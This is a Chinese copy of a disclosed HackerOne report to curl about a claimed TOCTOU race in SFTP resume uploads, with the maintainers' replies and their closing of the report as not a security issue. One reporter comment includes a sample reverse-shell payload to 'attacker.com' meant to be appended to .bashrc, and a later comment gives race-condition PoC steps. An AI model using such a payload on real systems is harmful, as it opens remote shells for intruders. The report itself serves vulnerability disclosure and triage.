[SFTP] TOCTOU竞态条件漏洞导致任意文件附加
时间线 cainvsilf 向 curl 提交了一份报告。 2025年11月19日,上午8:12 (UTC)
摘要:
cURL的SFTP恢复上传功能中存在一个“检查时间到使用时间”(TOCTOU)竞态条件漏洞。
当使用设置为-1的CURLOPT_RESUME_FROM(相当于curl命令行参数-C -)恢复上传时,libcurl首先会执行一个STAT操作来确定远程文件的大小以及恢复上传的正确偏移量。
随后,它会执行一个OPEN操作来开始写入。
在STAT和OPEN调用之间存在一个时间窗口。拥有SFTP服务器认证访问权限的攻击者可以利用此窗口,将目标文件替换为指向系统上另一个文件的符号链接。由于恢复操作的OPEN操作不使用截断标志(例如O_TRUNC),curl随后将定位到先前确定的偏移量并向符号链接的目标文件附加数据。这使得攻击者可以将任意数据附加到用户有写权限但无意修改的文件上。
受影响版本:
此漏洞在curl 8.18.0-DEV(截至2025年11月的主分支)上重现。易受攻击的逻辑似乎是SFTP“从末尾恢复”功能(-C -)的基础部分,很可能也影响许多早期版本。
可重现此漏洞的系统上典型的curl -V输出示例如下:
|
|
重现步骤:
1. 设置环境:
- 需要一个SFTP服务器。对于本地测试,可以在Linux机器上使用openssh-server,允许连接到localhost。
- 攻击者需要在服务器上拥有一个经过认证的用户账户,并在特定目录中拥有写入权限。
- 受害者是使用恢复标志向此特定目录上传文件的curl用户。
2. 准备攻击脚本:
- 在SFTP服务器上创建服务器端脚本
race_server.sh。该脚本将快速将目标文件与指向敏感文件的符号链接进行交换。 - 在客户端机器上创建客户端脚本
race_client.sh。该脚本将反复尝试触发竞态条件的curl上传。
3. 执行攻击:
- 在服务器上运行
./race_server.sh。它将开始在一个紧密的循环中创建和删除符号链接。 - 在客户端上,使用正确的凭据和路径配置
race_client.sh,然后运行./race_client.sh。 - 它开始发送上传请求。
- 让两个脚本运行15-30秒。客户端会显示一些“No such file or directory”错误,这是预期的。
4. 验证结果:
- 停止两个脚本(Ctrl+C)。
- 在服务器上,检查符号链接所指向的敏感文件(例如
/tmp/test_vuln.log)的内容。 - 如果利用成功,客户端负载文件的内容将被附加到敏感文件中。
支持材料/参考文献:
- race_client.sh (F5023270)
- race_server.sh (F5023271)
- Vulnerable_Code_Flow_Analysis.txt (F5023279)
易受攻击的代码位置
漏洞的核心在于以下文件中的sftp_upload_init函数内:
lib/vssh/libssh2.clib/vssh/libssh.c
具体而言,逻辑分支:
if(data->state.resume_from < 0) →执行STATelse if(data->state.resume_from > 0) →执行非截断的OPEN
附加的PoC脚本
race_server.sh:创建竞态条件的服务器端PoC。race_client.sh:用于反复触发curl中易受攻击逻辑的客户端PoC。
影响 主要影响是完整性丢失。拥有SFTP服务器认证访问权限的攻击者可以利用此漏洞,将任意数据附加到受害用户拥有写权限的任何文件。 根据目标文件的不同,这可能导致更严重的后果:
- 远程代码执行(RCE):如果攻击者将恶意命令附加到用户的启动脚本(例如
.bashrc、.profile)或由cron作业执行的脚本。 - 拒绝服务(DoS):如果攻击者破坏了关键的系统或应用程序配置文件。
- 日志注入/篡改:攻击者可以注入虚假日志条目以误导管理员或隐藏其他恶意活动。
严重程度被评为中等,因为利用需要攻击者事先拥有服务器的认证访问权限,并且依赖于赢得竞态条件。
建议的缓解措施 根本原因在于打开文件后缺少对文件是否为同一文件的验证。最稳健的解决方案是在文件打开后进行检查。
- 在
sftp_upload_init中调用libssh2_sftp_open_ex()后,应对返回的文件句柄进行后续的libssh2_sftp_fstat_ex()调用。 - 应将该fstat调用获取的属性(例如,如果SFTP服务器扩展提供,则包括inode号)与初始stat调用收集的属性进行比较。
- 如果属性不匹配,则表明文件已被交换。必须中止传输,并向用户返回错误。
附件 3个附件 F5023270: race_client.sh F5023271: race_server.sh F5023279: Vulnerable_Code_Flow_Analysis.txt
较早的活动
bagder (curl 工作人员) 发表了评论。 2025年11月19日,上午8:13 (UTC) 感谢您的报告! 我们将花些时间调查您的报告,并尽快向您提供详细信息以及可能的后续问题!很可能在接下来的24小时内。 我们一直努力尽快修复报告的问题。严重程度为低或中等的问题,我们会将其合并到普通发布周期的下一个版本中。只有更严重的问题,我们可能会提前发布修复。
cainvsilf 发表了评论。 2025年11月19日,上午8:23 (UTC) 感谢您的回复。 如果调查期间您需要我提供任何其他信息,请随时询问。 很乐意进一步协助。
bagder (curl 工作人员) 发表了评论。 2025年11月19日,上午8:34 (UTC)
拥有SFTP服务器认证访问权限的攻击者可以利用此漏洞,将任意数据附加到受害用户拥有写权限的任何文件。
我没看出这个攻击者需要任何漏洞来实现这一点。这个攻击者已经拥有服务器上的权限,所以通过将目标文件替换为指向其他内容的符号链接,用户很可能会附加到非预期的文件。不是吗? 与这种“攻击”的不同之处在于,在你描述的情况下,附加操作可能被错误地执行,以至于实际上破坏了文件而不是干净地附加。我不认为这改变了很多。 这种攻击要求攻击者具有直接访问权限来在SFTP服务器上摆弄用户的文件。看起来这个攻击者已经可以完全自行造成这种破坏,而不需要curl来执行它?
cainvsilf 发表了评论。 2025年11月19日,上午8:43 (UTC) 你质疑这个前提是完全正确的。如果攻击者和curl进程具有完全相同的权限,那么直接影响确实很低。然而,此漏洞的真正风险在于涉及权限分离的场景,其中攻击者和受害者的curl进程在不同的安全上下文中运行。 这是一个经典的“Confused Deputy”问题。curl进程是拥有特定权限集的“deputy”,攻击者诱骗它滥用这些权限。 以下是两个具体场景,其中这成为一个重大漏洞:
场景1:具有服务账户的多用户SFTP服务器 想象一下这样的服务器:
- 低权限用户
attacker拥有一个SFTP账户。 - 一个独立的、权限更高的账户
victim_app也使用该SFTP服务器。该账户由一个自动化应用程序使用,并拥有对关键配置文件(例如/opt/app/config.ini)的写权限。 - 存在一个共享目录
/var/sftp/uploads,attacker和victim_app都可以在其中创建和删除文件。 攻击者无法直接写入/opt/app/config.ini。然而,他们可以观察到victim_app进程经常使用curl -C -向/var/sftp/uploads上传文件。 攻击过程如下:
- 攻击者准备一个负载,例如
new_admin_user=attacker。 - 他们运行一个脚本来竞态创建符号链接:
ln -s /opt/app/config.ini /var/sftp/uploads/victim_file.tmp。 - 拥有
victim_app用户权限的victim_app的curl进程触发了TOCTOU漏洞。 - curl将攻击者的负载附加到
/opt/app/config.ini。 结果:攻击者通过迫使victim_app进程写入他们自己无法访问的文件,成功地提升了权限。
场景2:“受控附加”与“简单破坏” 你提到攻击者已经可以“造成这种破坏”。对于简单破坏来说确实如此。但这个漏洞不仅仅是关于造成破坏;它是关于受控修改。 让我们回到seek操作。curl根据原始文件的大小定位到一个偏移量。这给了攻击者一定程度上的控制权。
- 简单破坏:攻击者符号链接到
/bin/ls。curl用户附加数据,损坏了ls二进制文件。系统变得不稳定。这是嘈杂且具有破坏性的。 - 精准攻击(此漏洞):攻击者知道
original_file.txt的大小是1024字节。他们将其符号链接到/home/victim/.bashrc。curl进程将打开.bashrc,定位到偏移量1024,并附加攻击者的负载。该负载可能是一个干净、有效的shell命令,如\n/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n。 区别是关键的:一种是简单的损坏,另一种是可预测且受控的附加,可以在不破坏原始文件主要功能的情况下导致代码执行。
icing (curl 工作人员) 发表了评论。 2025年11月19日,上午8:51 (UTC)
bagder (curl 工作人员) 发表了评论。 2025年11月19日,上午8:55 (UTC)
场景1 结果:攻击者通过迫使
victim_app进程写入他们自己无法访问的文件,成功地提升了权限。
现在你把事情复杂化了。攻击者已经可以按照你的解释将目标文件替换为符号链接。这种“附加到错误文件”的行为总是可以被拥有此权限的攻击者完成。curl无法防范这一点。
攻击者符号链接到
/bin/ls。curl用户附加数据,损坏了ls二进制文件。系统变得不稳定。这是嘈杂且具有破坏性的。
如上所述,这已经可以做到。为此不需要竞态条件。
攻击者知道
original_file.txt的大小是1024字节
这似乎是非常具体的知识,不过好吧。
他们将其符号链接到
/home/victim/.bashrc。curl进程将打开.bashrc,定位到偏移量1024,并附加攻击者的负载。
curl在目标文件的偏移量1024处上传客户端的数据。攻击者如何控制这个负载? 这个问题“唯一”得到的是,攻击者无法单独做到的是将“覆盖点”设置在原始文件结束的位置,而不是新文件的末尾。并且这需要它知道目标文件名。我说得对吗?
cainvsilf 发表了评论。 更新于 2025年11月19日,上午9:30 (UTC) 让我澄清curl行为与普通符号链接滥用的不同之处。
符号链接替换本身并不给攻击者偏移量控制权 普通的符号链接交换只会重定向写入操作。根据服务器实现的不同,受害者的写入通常会:
- 截断文件,
- 从偏移量0开始覆盖,或者
- 完全失败。 它不允许的是:
- 根据一个完全不同的文件的大小定位到一个偏移量,
- 在该偏移量处进行可预测的附加。
能够实现这一点的行为是curl的
resume_from = -1代码路径特有的,curl执行:
|
|
如果没有STAT和OPEN之间的TOCTOU间隙,就无法触发这种“过时偏移量”行为。
curl增加的是“过时偏移量”的混淆副手写入 顺序是:
- STAT读取文件A的元数据
- 攻击者将A交换为指向文件B的符号链接
- curl对文件B执行
SEEK(size_of_A)这种跨文件的偏移量混淆无法仅通过静态符号链接实现。 这就是漏洞的核心:通过过时的元数据进行偏移量控制。
为什么竞态窗口很重要 你说得对,一个恒定的符号链接可能导致嘈杂的损坏。 然而,许多实际应用程序在调用curl之前会进行预检查,例如:
- “如果文件存在且大小>X,则中止”
- “如果所有者/模式不同,则中止”
- “如果在验证期间文件发生变化,则中止” 使用永久符号链接,这些检查会失败,攻击被阻止。 使用竞态条件:
- STAT看到一个合法的文件
- 符号链接仅在STAT之后被交换
- curl继续执行,绕过了通常会阻止该操作的验证 因此,竞态条件是使该问题在实际部署中可被利用的原因。
关于负载 你也说得对,攻击者并不控制上传数据。 其影响反而来自:
- 控制受害者的数据写入位置,
- 指向攻击者通常无法修改的文件,
- 在攻击者选择的偏移量处进行可预测的损坏/日志注入,
- 绕过在curl启动前执行的验证。 这种受控的、可预测的偏移量篡改无法通过普通的符号链接滥用实现。
总结
- 简单的符号链接让攻击者重定向写入。
- curl漏洞让攻击者重定向并控制偏移量,使用的是过时的元数据。
- 这种偏移量控制是curl实现所独有的,这就是漏洞。
- 竞态窗口允许绕过通常会阻止这种情况的应用级安全检查。
谢谢:)
bagder (curl 工作人员) 发表了评论。 2025年11月19日,上午9:34 (UTC)
符号链接替换本身并不给攻击者偏移量控制权
这个TOCTOU问题确实提供了偏移量控制,但这是唯一的区别。攻击者不控制客户端在那里上传的内容,并且需要时间敏感的竞态条件才能实现它。攻击者需要非常了解客户端才能利用这一点来做任何“真实”的事情。 我并不否认这一点。我提出这一点是为了将此问题置于正确的视角中。已经有一个在服务器上拥有权限的攻击者,它已经可以造成严重的伤害和麻烦,包括导致用户进行任意文件附加。
bagder (curl 工作人员) 发表了评论。 2025年11月19日,上午9:42 (UTC) 请停止使用AI回复。只用十行字就很好。
cainvsilf 发表了评论。 2025年11月19日,上午9:47 (UTC) 关键点在于:普通的符号链接让攻击者可以重定向目标,但无法选择写入偏移量。curl的恢复逻辑可以,因为它使用了早期STAT调用中过时的元数据。 所以,是的,攻击者已经拥有造成损害的一些能力,但这个漏洞让他们能够做一些他们通常无法做到的事情:导致受害者的进程在攻击者无法直接访问的文件内部的一个可预测偏移量处写入。这就是被跨越的权限边界。 竞态条件并不是为了使攻击“更强”,而是为了让攻击能够绕过通常阻止这种场景的检查。
cainvsilf 发表了评论。 2025年11月19日,上午9:48 (UTC) 澄清一下,我没有使用AI生成这些消息。我只使用Grammarly使写作更清晰。所有的分析和解释都是我自己的:)
bagder (curl 工作人员) 发表了评论。 更新于 2025年11月19日,上午10:52 (UTC) 要利用这个缺陷,攻击者需要已经拥有对服务器的访问权限,并且对客户端有很好的了解。为了实际利用这个缺陷,攻击者需要极其熟悉客户端,并且需要一部分纯粹的运气,因为攻击需要将给定的恢复上传块重定向到一个合适的目标文件。上传的内容和大小不受攻击者控制。目标文件和起始索引是攻击者可以决定的。 这是一种使已经存在的攻击变得更糟的方法。
cainvsilf 发表了评论。 2025年11月19日,上午11:07 (UTC) 重要的区别在于:普通的符号链接让攻击者可以重定向路径,但无法控制写入偏移量。这个TOCTOU问题可以,因为curl在恢复时使用了过时的STAT元数据。因此,尽管攻击者已经拥有服务器访问权限,但这个漏洞给了他们一个通常不具备的能力:让客户端在可预测的偏移量处向任意文件写入。这就是跨越边界的那部分。我理解你提到的局限性,我没有什么要补充的了,只是澄清一下技术上的区别。
bagder (curl 工作人员) 发表了评论。 更新于 2025年11月19日,下午12:24 (UTC) 我只会重申,这个问题仍然要求已经存在一个拥有足够权限的恶意攻击者出现在服务器上,并且已经可以造成严重的损害。 所以这个问题只是关于给这样一个攻击者一把稍微锋利一点的剑。
bagder (curl 工作人员) 发表了评论。 2025年11月19日,下午12:26 (UTC) SFTP协议没有在STAT调用中暴露inode或类似信息,所以客户端无法确定两个后续调用的结果是否针对相同的底层文件。就我所知。它可以检查大小、权限、所有权、时间戳等。
dfandrich (curl 工作人员) 发表了评论。 2025年11月19日,下午5:24 (UTC) 另请注意漏洞披露政策中的此排除项: curl无法防范攻击者对curl被指示保存文件的同一目录具有写访问权限的攻击。
cainvsilf 发表了评论。 2025年11月20日,上午6:16 (UTC) 在我的调查中,我发现了一个漏洞:SFTP TOCTOU 权限提升。 详细信息如下: 本指南演示了如何利用cURL SFTP恢复逻辑中的非原子性“检查时间到使用时间”(TOCTOU)漏洞,使低权限用户导致高权限进程损坏敏感文件。
第一阶段:环境设置 首先,使用提供的脚本准备服务器环境。这只需要做一次。 作为拥有sudo权限的用户,使脚本可执行:
|
|
运行设置脚本以创建用户和目录结构。系统将提示您输入密码。
|
|
该脚本将把unprivileged_user的密码设置为P@ssw0rd_1234!。
第二阶段:执行 此阶段需要两个同时运行的独立终端来模拟竞态条件。
- 在终端1(低权限用户的操作):
- 切换到低权限用户的shell:
1sudo -u unprivileged_user -s - 启动竞态脚本。这将开始快速交换目录。
1./perform_race.sh - 保持此终端运行。
- 切换到低权限用户的shell:
- 在终端2(高权限进程的操作):
此终端模拟自动化的高权限进程。
- 当竞态脚本正在运行时,执行以下curl命令。您可能需要运行几次才能“赢得”竞态。
(注意:此演示假设在localhost上运行着一个允许本地用户进行密码认证的SFTP服务器。)
1sudo -u privileged_proc curl -k -u unprivileged_user:P@ssw0rd_1234! -T /tmp/system_status.log -C - "sftp://localhost/home/unprivileged_user/upload/status.log"
- 当竞态脚本正在运行时,执行以下curl命令。您可能需要运行几次才能“赢得”竞态。
(注意:此演示假设在localhost上运行着一个允许本地用户进行密码认证的SFTP服务器。)
一旦终端2中的curl命令完成且没有错误(这表明很可能赢得了竞态),您可以用Ctrl+C停止终端1中的竞态脚本。 现在,作为拥有sudo权限的用户,检查符号链接所指向的敏感文件:
|
|
预期结果:之前为空的authorized_keys文件现在将包含/tmp/system_status.log的内容:
|
|
这证明了一个低权限、被限制的用户(unprivileged_user)可以利用curl中的TOCTOU漏洞,导致高权限进程(privileged_proc)将任意数据写入敏感配置文件。这是一个经典的权限提升途径。该漏洞完全在于curl的非原子性STAT -> OPEN序列,并且不要求攻击者对最终目标目录具有写访问权限。
附件 2个附件 F5027383: perform_race.sh F5027384: setup_environment.sh
bagder (curl 工作人员) 发表了评论。 2025年11月20日,上午9:10 (UTC) 你是在报告一个不同的问题吗?如果是,为什么不是单独提交。如果不是单独的,为什么所有这些模板语言?
bagder (curl 工作人员) 发表了评论。 2025年11月20日,上午9:12 (UTC) 所有这些新语言除了我们已经在这里讨论过的内容之外,还有什么不同吗?
cainvsilf 发表了评论。 2025年11月20日,上午9:18 (UTC) 我不是要提交一份单独的报告,额外的文本只是为了为我们之前讨论的同一个TOCTOU行为提供一个更清晰、完全可重现的PoC。
bagder (curl 工作人员) 发表了评论。 2025年11月20日,上午9:18 (UTC) 我们无法保护curl用户免受服务器中可以在任何给定时刻用符号链接替换原始目标文件的攻击者的侵害。那是一场必败之战。超出了我们能够修复的范围。任何依赖攻击者已经拥有这些超能力的进一步复杂化,都只是小小的修饰,但无助于应对一个基本现实:一个能够在SFTP上传的目标目录中替换文件和插入符号链接的攻击者,已经可以造成很大的破坏。
cainvsilf 发表了评论。 2025年11月20日,上午9:25 (UTC) 感谢您的澄清和花时间审阅细节。 我很感谢有机会做出贡献并从讨论中学习。 我没有其他要补充的了。 再次感谢。
bagder (curl 工作人员) 关闭了报告并将状态更改为信息性。 2025年11月21日,下午2:53 (UTC) 非常感谢你的工作和详细的报告。 被认为不是一个安全问题。 因为这取决于一个对手已经存在并且能够插入恶意符号链接,这本身就是一种攻击。curl的行为可能会使其变得更糟,但这已经是一种攻击,而且是curl无法防范的攻击。 我们将致力于整理一份“已知风险”文档,其中将包含此细节。参见待处理的工作:https://github.com/curl/curl/pull/19631
bagder (curl 工作人员) 请求披露此报告。 2025年11月23日,上午11:56 (UTC) 根据项目的透明政策,我们希望所有报告都被披露并公开。
bagder (curl 工作人员) 披露了此报告。 2025年11月24日,下午6:55 (UTC)
报告于 2025年11月19日,上午8:12 (UTC) 报告人 cainvsilf 报告给 curl 参与者 报告ID #3432833 信息性 严重性 中等 (4 ~ 6.9) 披露于 2025年11月24日,下午6:55 (UTC) 弱点 Time-of-check Time-of-use (TOCTOU) Race Condition CVE ID 无 赏金 无 账户详情 无
看起来您的JavaScript被禁用了。要使用HackerOne,请在浏览器中启用JavaScript并刷新此页面。